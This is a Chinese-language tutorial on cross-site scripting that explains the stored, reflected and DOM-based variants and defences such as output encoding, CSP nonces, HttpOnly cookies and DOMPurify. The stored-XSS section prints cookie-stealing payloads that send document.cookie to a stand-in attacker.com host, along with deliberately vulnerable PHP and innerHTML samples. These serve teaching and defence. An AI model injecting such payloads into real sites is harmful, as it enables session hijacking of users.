XSS 的本质
跨站脚本(Cross-Site Scripting,XSS)是指攻击者在网页中注入恶意 JavaScript 代码,当其他用户访问该页面时,浏览器在受害者的上下文中执行恶意脚本。XSS 是 OWASP Top 10(A03 注入类别)中最普遍的客户端漏洞,本质原因是:应用将不可信的用户数据原样输出到 HTML 页面,未进行正确的转义处理。
三种 XSS 类型
1. 存储型 XSS(Stored XSS / Persistent XSS)
恶意脚本被持久化存储到服务器(数据库、文件等),每次用户访问含有该内容的页面时都会执行。危害最大,影响所有访问该页面的用户。
<!-- 攻击者在评论中提交的内容(存入数据库) -->
<script>
// 窃取 Cookie 并发送到攻击者服务器
new Image().src = 'https://attacker.com/steal?c='
+ encodeURIComponent(document.cookie);
</script>
<!-- 或者更隐蔽,用 img 标签 onerror 事件 -->
<img src="x" onerror="fetch('https://attacker.com/c?'+btoa(document.cookie))">
2. 反射型 XSS(Reflected XSS)
恶意脚本包含在 URL 参数中,服务器将其反射回 HTML 响应中。攻击者需要诱骗受害者点击含有恶意 payload 的链接。
<!-- 假设搜索页 URL:https://site.com/search?q=iPhone
服务器代码(有漏洞的 PHP)-->
<p>搜索结果:<?php echo $_GET['q']; ?></p>
<!-- 攻击者构造的恶意 URL:
https://site.com/search?q=<script>alert(document.cookie)</script>
受害者点击后,页面渲染为:-->
<p>搜索结果:<script>alert(document.cookie)</script></p>
3. DOM 型 XSS(DOM-based XSS)
漏洞存在于客户端 JavaScript 中,服务器从不接触恶意数据。页面的 JavaScript 读取了 URL 中的不可信数据(如 location.hash、document.referrer),并将其直接写入 DOM,从而触发 XSS。
// 有漏洞的客户端代码
const name = new URLSearchParams(window.location.search).get('name');
document.getElementById('greeting').innerHTML = '欢迎你,' + name;
// URL: /welcome?name=<img src=x onerror=alert(1)>
// innerHTML 直接写入 HTML → 触发 XSS
// 其他危险的 DOM 接收点(sink):
element.innerHTML = userInput; // 危险
element.outerHTML = userInput; // 危险
document.write(userInput); // 危险
eval(userInput); // 极度危险
window.location.href = userInput; // 危险(可 javascript:)
// 安全的替代方案:
element.textContent = userInput; // 安全:只插入文本,不解析 HTML
element.setAttribute('data-x', userInput); // 安全:属性值不执行脚本
XSS 的危害
document.cookie 并发送到攻击者服务器。攻击者可以用窃取的 Session Cookie 直接以受害者身份登录(无需密码)。HttpOnly Cookie 可以阻止 JS 读取 Cookie。历史案例:Samy 蠕虫(2005年)
2005年10月,一名19岁的程序员 Samy Kamkar 在 MySpace 个人主页中注入了一段 XSS 脚本。脚本在受害者浏览器中自动:① 将 Samy 添加为好友;② 将蠕虫代码复制到受害者自己的主页。结果在 20 小时内感染了 100 万个 MySpace 账号,是史上第一个大规模传播的 XSS 蠕虫。MySpace 被迫紧急关站修复。
防御一:HTML 实体编码(输出编码)
最基础的防御:将用户数据输出到 HTML 时,将特殊字符转换为 HTML 实体,使浏览器将其显示为文字而非解析为代码。
& → &< → <> → >" → "' → '好消息是:主流前端框架(React、Vue、Angular)默认对插值进行 HTML 转义,显著降低了反射型和存储型 XSS 的风险。但危险的方法(dangerouslySetInnerHTML、v-html)需要特别注意。
// React:默认安全
const Component = ({ userContent }) => (
<div>{userContent}</div> // 自动 HTML 转义,安全
);
// React:危险!dangerouslySetInnerHTML 不会转义
const DangerousComponent = ({ htmlContent }) => (
<div dangerouslySetInnerHTML={{ __html: htmlContent }} />
// 如果 htmlContent 含 <script>,会直接执行!
// 只有在 htmlContent 经过 DOMPurify 净化后才安全
);
防御二:CSP(Content Security Policy)
CSP 是浏览器的 XSS 防御机制,通过 HTTP 响应头或 <meta> 标签告诉浏览器:当前页面允许加载哪些来源的资源。即使 XSS 注入成功,CSP 也能阻止内联脚本执行和恶意域名的资源加载。
# 严格的 CSP 配置(推荐基础)
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{随机值}';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self';
object-src 'none';
base-uri 'self';
frame-ancestors 'none';
# 各指令说明:
# default-src 'self' → 默认只允许同源资源
# script-src 'nonce-xxx' → 只执行带 nonce 属性的 script 标签
# object-src 'none' → 禁止 Flash 等 plugin(高危)
# frame-ancestors 'none' → 等同 X-Frame-Options: DENY,防止点击劫持
# base-uri 'self' → 防止 <base> 标签注入改变相对 URL
Nonce 机制(严格 CSP 的核心)
import secrets
from flask import Flask, make_response
app = Flask(__name__)
@app.after_request
def add_csp(response):
nonce = secrets.token_urlsafe(16) # 每次请求生成新 nonce
response.headers['Content-Security-Policy'] = (
f"script-src 'self' 'nonce-{nonce}'; object-src 'none'"
)
# 将 nonce 传入模板,在 script 标签上使用
response.set_cookie('csp_nonce', nonce, httponly=True)
return response
<!-- HTML 模板中合法的 script 标签必须带 nonce -->
<script nonce="{{ csp_nonce }}">
// 浏览器检查 nonce 与响应头匹配后才执行
initApp();
</script>
<!-- 攻击者注入的脚本没有 nonce,CSP 会阻止执行 -->
<script>alert(document.cookie)</script>
<!-- 被 CSP 拦截,报告到 report-uri -->
防御三:HttpOnly 与 SameSite Cookie
# 完整的安全 Cookie 配置
Set-Cookie: sessionid=abc123;
HttpOnly; # JS 无法读取(document.cookie 看不到),防止 XSS 窃取
Secure; # 只通过 HTTPS 传输
SameSite=Strict; # 跨站请求不携带此 Cookie(最严格,防 CSRF)
Path=/;
Max-Age=3600
document.cookie API 看不到 HttpOnly Cookie。注意:它不能阻止 XSS 的其他危害(如发起 AJAX 请求),但有效阻止了最常见的 Cookie 窃取攻击。防御四:DOMPurify 净化富文本
当业务需要展示用户输入的 HTML(如富文本编辑器、Markdown 渲染)时,不能简单转义(会破坏正常 HTML),而需要对 HTML 进行净化(Sanitize)——只保留安全的标签和属性,删除所有可能执行脚本的内容。DOMPurify 是目前最成熟的 HTML 净化库。
import DOMPurify from 'dompurify';
// 基础净化(移除所有危险内容,保留安全 HTML)
const dirty = '<p>正常文字</p><img src=x onerror=alert(1)><script>evil()</script>';
const clean = DOMPurify.sanitize(dirty);
// 结果:'<p>正常文字</p><img src="x">'
// <script> 被删除,onerror 属性被删除
// 只允许特定标签(更严格的白名单)
const strictClean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'li', 'a'],
ALLOWED_ATTR: ['href', 'title'],
FORCE_BODY: true
});
// 与 React 结合使用
const SafeHtml = ({ html }) => (
<div
dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }}
/>
);
// 服务端 Node.js(使用 jsdom 提供 DOM 环境)
const { JSDOM } = require('jsdom');
const { window } = new JSDOM('');
const DOMPurify = require('dompurify')(window);
const serverClean = DOMPurify.sanitize(userHtml);
HTML 净化是极难正确实现的——浏览器解析 HTML 的规则极其复杂,黑名单过滤很容易被绕过(大小写混合、字符编码、注释嵌套、SVG/MathML 命名空间等)。永远不要自己写正则来过滤 HTML,使用 DOMPurify(前端)或 bleach(Python)等经过充分测试的专业净化库。
- 输出编码:所有输出到 HTML/JS/CSS/URL 的用户数据都要进行上下文相关的编码
- 框架默认转义:优先使用 React JSX / Vue template 插值,避免 innerHTML 直接赋值
- CSP:设置严格的 Content-Security-Policy,限制脚本来源,使用 nonce
- HttpOnly Cookie:Session Cookie 必须设置 HttpOnly,防止脚本读取
- DOMPurify:展示富文本时,在渲染前净化,永远不直接插入不可信 HTML
XSS 分三种类型:存储型(持久化,危害最大)、反射型(通过链接触发)、DOM 型(纯客户端)。防御体系分四层:① 输出编码(最基础);② CSP 限制脚本来源(深度防御);③ HttpOnly Cookie 防止 Session 窃取;④ DOMPurify 净化富文本。现代框架默认提供了良好的 XSS 防护,但开发者必须了解框架的安全边界(如避免 dangerouslySetInnerHTML、v-html 插入不可信内容),才能在使用便利功能时不引入漏洞。